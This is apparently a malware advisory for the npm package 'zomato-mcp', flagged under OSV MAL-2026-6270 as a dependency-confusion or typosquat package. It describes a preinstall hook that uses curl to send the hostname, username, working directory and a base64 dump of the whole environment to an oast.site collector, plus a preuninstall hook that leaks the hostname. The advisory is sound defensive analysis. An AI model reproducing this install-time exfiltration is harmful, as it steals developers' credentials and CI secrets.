OpenSSF/OSV malware advisory MAL-2026-6270 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-6270 confirms this npm version as malicious. On \`npm install\`, the package's preinstall lifecycle script runs \`curl\` against \`http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/install/\<base64(zomato-mcp)\>\` carrying the installer's \`hostname -f\`, \`whoami\`, current working directory, and a base64-encoded dump of the entire process environment (\`env | base64 -w0\`).

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

On \`npm install\`, the package's preinstall lifecycle script runs \`curl\` against \`http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/install/\<base64(zomato-mcp)\>\` carrying the installer's \`hostname -f\`, \`whoami\`, current working directory, and a base64-encoded dump of the entire process environment (\`env | base64 -w0\`). This fires automatically with no user consent and over plain HTTP. A preuninstall hook similarly leaks the hostname. The \`oast.site\` domain is an Interactsh out-of-band collector, used to receive arbitrary attacker-controlled callbacks. The package's advertised functionality is absent: \`index.js\` is a 59-byte stub (\`module.exports = { name: 'zomato-mcp', version: '1.0.0' };\`), with no MCP server implementation. Combined with the Zomato-namespace impersonation, this is a dependency-confusion / typosquat attack whose only real behavior is install-time recon and credential exfiltration of the entire shell environment (which routinely contains API tokens, CI secrets, cloud credentials, and registry auth tokens).
